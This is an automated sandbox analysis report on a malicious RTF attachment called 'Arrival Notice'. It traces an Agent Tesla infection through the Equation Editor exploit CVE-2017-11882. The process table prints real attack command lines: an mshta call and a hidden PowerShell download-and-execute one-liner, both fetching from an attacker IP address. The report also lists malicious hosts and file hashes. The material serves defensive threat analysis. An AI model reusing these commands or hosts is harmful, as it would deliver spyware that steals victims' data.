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| File name: | Arrival Notice.doc |
| Full analysis: | https://app.any.run/tasks/f03410f8-b6dd-4c59-8ccc-b9ff65f1be9c |
| Verdict: | Malicious activity |
| Threats: | Agent Tesla is spyware that collects information about the actions of its victims by recording keystrokes and user interactions. It is falsely marketed as a legitimate software on the dedicated website where this malware is sold. |
| Analysis date: | October 09, 2019, 18:00:40 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/rtf |
| File info: | Rich Text Format data, version 1, unknown character set |
| MD5: | FEEAB7C41B73D8F03B3D4D005A8B8BF3 |
| SHA1: | CB4DA77E47FBB97B9DAB5C42FE8FF42BB25953A5 |
| SHA256: | 1AE650453A47CBF7872860245C7FEFF1DC7F82E9AFC0AE9D431B66CA6F324ADE |
| SSDEEP: | 768:qxrBqbeW6HHkXzD7p2ogaPPPPPhPPPPPgPPPPP/tpeyevzoR8oVojrc9YU:qqbUtwNpoWPcKU |
MALICIOUS
Equation Editor starts application (CVE-2017-11882)
- EQNEDT32.EXE (PID: 1640)
Loads dropped or rewritten executable
- ufec.exe (PID: 3084)
Application was dropped or rewritten from another process
- ufec.exe (PID: 3084)
SUSPICIOUS
Executed via WMI
- powershell.exe (PID: 2760)
PowerShell script executed
- powershell.exe (PID: 2760)
Starts MSHTA.EXE for opening HTA or HTMLS files
- EQNEDT32.EXE (PID: 1640)
Executed via COM
- EQNEDT32.EXE (PID: 1640)
Creates files in the user directory
- powershell.exe (PID: 2760)
- ufec.exe (PID: 3084)
Connects to unusual port
- MsHTa.exe (PID: 2840)
- powershell.exe (PID: 2760)
Executable content was dropped or overwritten
- powershell.exe (PID: 2760)
- ufec.exe (PID: 3084)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 2700)
Reads internet explorer settings
- MsHTa.exe (PID: 2840)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2700)
Application was crashed
- EQNEDT32.EXE (PID: 1640)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rtf | | | Rich Text Format (100) |
|---|
EXIF
RTF
| InternalVersionNumber: | 95 |
|---|---|
| CharactersWithSpaces: | - |
| Characters: | - |
| Words: | - |
| Pages: | 1 |
| TotalEditTime: | - |
| RevisionNumber: | 1 |
| ModifyDate: | 2019:10:07 21:04:00 |
| CreateDate: | 2019:10:07 21:04:00 |
| LastModifiedBy: | FireSecIT |
| Author: | FireSecIT |
Total processes
42
Monitored processes
5
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2700 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\Arrival Notice.doc.rtf" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 1640 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | svchost.exe | |
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 | ||||
| 2840 | MsHTa http://103.207.38.8:1010/hta &AAAAAAAA C | C:\Windows\system32\MsHTa.exe | EQNEDT32.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
| 2760 | powershell -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($V.downloadstring('http://103.207.38.8:1010/get')); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 3084 | "C:\Users\Public\ufec.exe" | C:\Users\Public\ufec.exe | powershell.exe | |
User: admin Integrity Level: MEDIUM | ||||
Total events
1 003
Read events
799
Write events
0
Delete events
0
Modification events
Executable files
4
Suspicious files
3
Text files
9
Unknown types
5
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2700 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR63B6.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2760 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\01HMSYP47R6P5MFYB7EW.temp | — | |
MD5:— | SHA256:— | |||
| 2760 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:A272B20D1454EFE23A324E582F0E701D | SHA256:68AA16559F2894A02236A7716541C3FCF362333253818FDFE6FDE31C94E95051 | |||
| 2840 | MsHTa.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\hta[1] | html | |
MD5:B4E61A6248989A55E62A6911A7CA5629 | SHA256:BB1EE67DAB0FE73EE50E0B70ECF2A3FFEFBBDDE87717D84249D601E35F8A477B | |||
| 2700 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:BAFB239A30F00A10D28D8B45CE2629E6 | SHA256:ACE28E8EEE0D27BECB0FA8AB9F1A5C91B5B9F3F80DFE5E714DF8794AB39CB254 | |||
| 3084 | ufec.exe | C:\Users\admin\AppData\Roaming\local\ssmport3.hxc | xml | |
MD5:87510E466A5EB296A60719D6805E860E | SHA256:1FA25D7D0220DE4D14F5DF3B9C14C6226F7E64044E51CECC9360217BB115788F | |||
| 3084 | ufec.exe | C:\Users\admin\AppData\Roaming\local\co5531copytostr.cs | text | |
MD5:30B6C29D44EBB9925AAC936E49243D15 | SHA256:DE45EED0FDF5090D35182150730933828893CC2605B4094FEEF712E1D382A8E4 | |||
| 2760 | powershell.exe | C:\Users\Public\ufec.exe | executable | |
MD5:E10188401461C7781338834690B66346 | SHA256:F6F35C3CBF83450D1FECB7101784E6CC89FA13B994AE16199087C2C5119984D3 | |||
| 3084 | ufec.exe | C:\Users\admin\AppData\Roaming\local\customctrlssdefig3.gif | image | |
MD5:0A7CA394151431BC8162FE4FD1A3806E | SHA256:7C7FBE89267FFC5DD80F9A3AF213D08CB8930BFE00BA9A0706D3F31617B50122 | |||
| 2700 | WINWORD.EXE | C:\Users\admin\Desktop\~$rival Notice.doc.rtf | pgc | |
MD5:FBC987173319FFB1181F31529DEF32C4 | SHA256:A07076D623B9C77753DD62F3A2FECB6CECFE956F9B142C3C04DD7751CC516279 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
4
DNS requests
2
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2840 | MsHTa.exe | GET | 200 | 103.207.38.8:1010 | http://103.207.38.8:1010/hta | VN | html | 2.44 Kb | malicious |
2760 | powershell.exe | GET | 200 | 103.207.38.8:1010 | http://103.207.38.8:1010/get | VN | text | 556 Kb | malicious |
— | — | GET | 200 | 34.196.181.158:80 | http://checkip.amazonaws.com/ | US | text | 16 b | shared |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2840 | MsHTa.exe | 103.207.38.8:1010 | — | VNPT Corp | VN | malicious |
2760 | powershell.exe | 103.207.38.8:1010 | — | VNPT Corp | VN | malicious |
— | — | 94.46.15.55:587 | mail.casadavilas.com | Almouroltec Servicos De Informatica E Internet Lda | PT | malicious |
— | — | 34.196.181.158:80 | checkip.amazonaws.com | Amazon.com, Inc. | US | shared |
DNS requests
Domain | IP | Reputation |
|---|---|---|
checkip.amazonaws.com |
| shared |
mail.casadavilas.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2840 | MsHTa.exe | Misc activity | SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7) |
2760 | powershell.exe | A Network Trojan was detected | ET TROJAN Windows executable base64 encoded |
2760 | powershell.exe | Misc activity | SUSPICIOUS [PTsecurity] Executable base64 Payload |
— | — | A Network Trojan was detected | MALWARE [PTsecurity] AgentTesla IP Check |
4 ETPRO signatures available at the full report